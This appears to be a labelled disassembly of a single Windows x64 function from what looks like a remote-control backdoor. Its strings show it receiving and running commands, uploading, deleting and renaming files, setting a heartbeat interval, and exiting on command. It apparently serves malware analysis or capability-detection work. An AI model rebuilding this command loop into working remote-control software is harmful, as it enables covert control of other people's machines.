Function at 0x140009890
Capabilities:
Delete file
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x438
mov rax, qword [0x140036010]
xor rax, rsp
mov qword [rsp + 0x428], rax
mov dword [rsp + 0x30], 0
call fcn.140009630
mov dword [rsp + 0x30], eax
mov edx, 0x40
lea rcx, [rsp + 0x260]
call fcn.1400027a0
mov edx, 1
lea rcx, [rsp + 0x260]
call fcn.14000a780
xor eax, eax
cmp eax, 1
je 0x14000a1b1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140030328]
lea rcx, [rsp + 0x260]
call fcn.14000b240
movzx eax, al
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x298]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x250], rax
cmp dword [rsp + 0x48], 4
jle 0x14000a1a0
mov rax, qword [rsp + 0x250]
cmp dword [rax], 0x61746144
jne 0x14000a1a0
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax + 0x29]
mov rcx, qword [rsp + 0x40]
add rcx, 0x2a
mov r8d, eax
mov rdx, rcx
lea rcx, [rsp + 0x408]
call fcn.140008900
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax + 8]
mov rcx, qword [rsp + 0x40]
add rcx, 9
mov r8d, eax
mov rdx, rcx
lea rcx, [rsp + 0x3e8]
call fcn.140008900
lea rcx, [0x140030330]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov rcx, qword [rsp + 0x40]
add rcx, 4
mov r8, rax
lea rdx, str.__34
call fcn.140026050
test eax, eax
jne 0x14000a186
mov rax, qword [rsp + 0x250]
add rax, 0x4a
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 3
je 0x140009a11
mov rax, qword [rsp + 0x38]
cmp dword [rax], 1
je 0x140009a11
mov rax, qword [rsp + 0x38]
cmp dword [rax], 2
jne 0x140009ad2
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x308]
call fcn.140008900
lea rax, [rsp + 0x170]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax + 0x29]
mov dword [rsp + 0x4c], eax
mov rcx, qword [rsp + 0x40]
add rcx, 0x2a
mov qword [rsp + 0x98], rcx
lea rdx, [rsp + 0x308]
mov rcx, qword [rsp + 0x90]
call fcn.1400089a0
mov ecx, dword [rsp + 0x4c]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0x98]
mov r9, rcx
mov rcx, qword [rsp + 0x38]
mov r8d, dword [rcx]
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.14000b4d0
lea rcx, [rsp + 0x308]
call fcn.140002c00
mov rdx, rax
lea rcx, str.recv_file_operation:_s_r_n
call fcn.14000beb0
lea rcx, [rsp + 0x308]
call fcn.140001750
jmp 0x14000a186
mov rax, qword [rsp + 0x38]
cmp dword [rax], 4
jne 0x140009bc1
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x328]
call fcn.140008900
lea rcx, [rsp + 0x328]
call fcn.140002c00
mov rdx, rax
lea rcx, str.recv_cmd:_s_r_n
call fcn.14000beb0
lea rcx, [rsp + 0x328]
call fcn.140002c00
mov rcx, rax
call fcn.14000b7c0
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x190]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax + 0x29]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x40]
add rcx, 0x2a
mov qword [rsp + 0xa8], rcx
lea rdx, [0x140030370]
mov rcx, qword [rsp + 0xa0]
call fcn.1400017e0
mov ecx, dword [rsp + 0x50]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0xa8]
mov r9, rcx
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x260]
call fcn.14000b4d0
lea rcx, [0x140030380]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0x328]
call fcn.140001750
jmp 0x14000a186
mov rax, qword [rsp + 0x38]
cmp dword [rax], 6
jne 0x140009cbe
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 8]
mov dword [rsp + 0x54], eax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xb0], rax
lea rdx, [0x140030390]
mov rcx, qword [rsp + 0xb0]
call fcn.1400017e0
mov rdx, rax
lea rcx, [rsp + 0x348]
call fcn.140007df0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0xc0], rax
lea rdx, [0x14003039c]
mov rcx, qword [rsp + 0xb8]
call fcn.1400017e0
mov qword [rsp + 0xc8], rax
lea rdx, [0x1400303a4]
mov rcx, qword [rsp + 0xc0]
call fcn.1400017e0
mov dword [rsp + 0x20], 2
mov rcx, qword [rsp + 0xc8]
mov r9, rcx
mov r8, rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x348]
call fcn.140007fe0
lea rcx, [rsp + 0xf0]
call fcn.140001750
lea rcx, [rsp + 0x348]
call fcn.1400083b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, qword [rsp + 0x38]
cmp dword [rax], 8
jne 0x140009e25
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x2e8]
call fcn.140008900
lea rcx, [rsp + 0x2e8]
call fcn.140002c00
mov rcx, rax
call fcn.140014c10
mov dword [rsp + 0x64], eax
imul eax, dword [rsp + 0x64], 0x3e8
mov dword [0x140037de0], eax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0xd0], rax
lea rdx, [0x1400303b0]
mov rcx, qword [rsp + 0xd0]
call fcn.1400017e0
mov rdx, rax
lea rcx, [rsp + 0x368]
call fcn.140007df0
lea rax, [rsp + 0x210]
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x2e8]
call fcn.140002c00
mov rdx, rax
mov rcx, qword [rsp + 0xd8]
call fcn.1400017e0
mov qword [rsp + 0xe8], rax
lea rdx, [0x1400303c0]
mov rcx, qword [rsp + 0xe0]
call fcn.1400017e0
mov dword [rsp + 0x20], 2
mov rcx, qword [rsp + 0xe8]
mov r9, rcx
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x368]
call fcn.140007fe0
lea rcx, [rsp + 0x110]
call fcn.140001750
lea rcx, [rsp + 0x368]
call fcn.1400083b0
lea rcx, [rsp + 0x2e8]
call fcn.140002c00
mov rdx, rax
lea rcx, str.recv_heartbeat:_s_r_n
call fcn.14000beb0
lea rcx, [rsp + 0x368]
call fcn.140007dd0
lea rcx, [rsp + 0x2e8]
call fcn.140001750
jmp 0x14000a186
mov rax, qword [rsp + 0x38]
cmp dword [rax], 5
jne 0x140009ee3
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x388]
call fcn.140008900
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 8]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x70]
add rax, 4
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x388]
call fcn.140002c00
mov r9d, 1
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call fcn.140004660
mov dword [rsp + 0x80], eax
lea rcx, [rsp + 0x388]
call fcn.140002c00
mov rdx, rax
lea rcx, str.recv_upload_file:_s_r_n
call fcn.14000beb0
lea rcx, [rsp + 0x388]
call fcn.140001750
jmp 0x14000a186
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0xa
jne 0x140009fe4
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x2c8]
call fcn.140008900
lea rcx, [rsp + 0x2c8]
call fcn.140002c00
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x10
test eax, eax
je 0x140009f9c
lea rdx, str.rmdir__s__q
lea rcx, [rsp + 0x130]
call fcn.1400017e0
lea r8, [rsp + 0x2c8]
mov rdx, rax
lea rcx, [rsp + 0x3c8]
call fcn.1400090f0
lea rcx, [rsp + 0x130]
call fcn.140001750
lea rcx, [rsp + 0x3c8]
call fcn.140002c00
mov rcx, rax
call fcn.14000b7c0
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x3c8]
call fcn.140001750
jmp 0x140009fb6
lea rcx, [rsp + 0x2c8]
call fcn.140002c00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x2c8]
call fcn.140002c00
mov rdx, rax
lea rcx, str.recv_delete_file:_s_r_n
call fcn.14000beb0
lea rcx, [rsp + 0x2c8]
call fcn.140001750
jmp 0x14000a186
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0xb
jne 0x14000a186
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
add rcx, 8
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x2a8]
call fcn.140008900
lea rcx, [rsp + 0x2a8]
call fcn.140002c00
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x10
test eax, eax
je 0x14000a068
lea rcx, [rsp + 0x2a8]
call fcn.140001750
lea rcx, [rsp + 0x3e8]
call fcn.140001750
lea rcx, [rsp + 0x408]
call fcn.140001750
jmp 0x1400098f2
mov rax, qword [rsp + 0x38]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 8]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax]
mov dword [rsp + 0x5c], eax
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x68]
add rcx, 4
mov r8, rax
mov rdx, rcx
lea rcx, [rsp + 0x3a8]
call fcn.140008900
mov dword [rsp + 0x2a0], 0
lea rcx, [rsp + 0x2a8]
call fcn.140002c00
lea r8, [rsp + 0x2a0]
lea rdx, [rsp + 0x250]
mov rcx, rax
call fcn.140004420
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000a130
lea rcx, [rsp + 0x3a8]
call fcn.140002c00
mov r9d, 1
mov r8d, dword [rsp + 0x2a0]
mov rdx, qword [rsp + 0x250]
mov rcx, rax
call fcn.140004660
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x2a8]
call fcn.140002c00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x3a8]
call fcn.140002c00
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x2a8]
call fcn.140002c00
mov rcx, qword [rsp + 0x88]
mov r8, rcx
mov rdx, rax
lea rcx, str.recv_rename_file_from:_s_to:_s_r_n
call fcn.14000beb0
lea rcx, [rsp + 0x3a8]
call fcn.140001750
lea rcx, [rsp + 0x2a8]
call fcn.140001750
lea rcx, [rsp + 0x3e8]
call fcn.140001750
lea rcx, [rsp + 0x408]
call fcn.140001750
mov ecx, dword [0x140037de0]
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400098f2
call fcn.140009870
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x60], 0
lea rcx, [rsp + 0x260]
call fcn.14000a6f0
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x428]
xor rcx, rsp
call fcn.14000db20
add rsp, 0x438
ret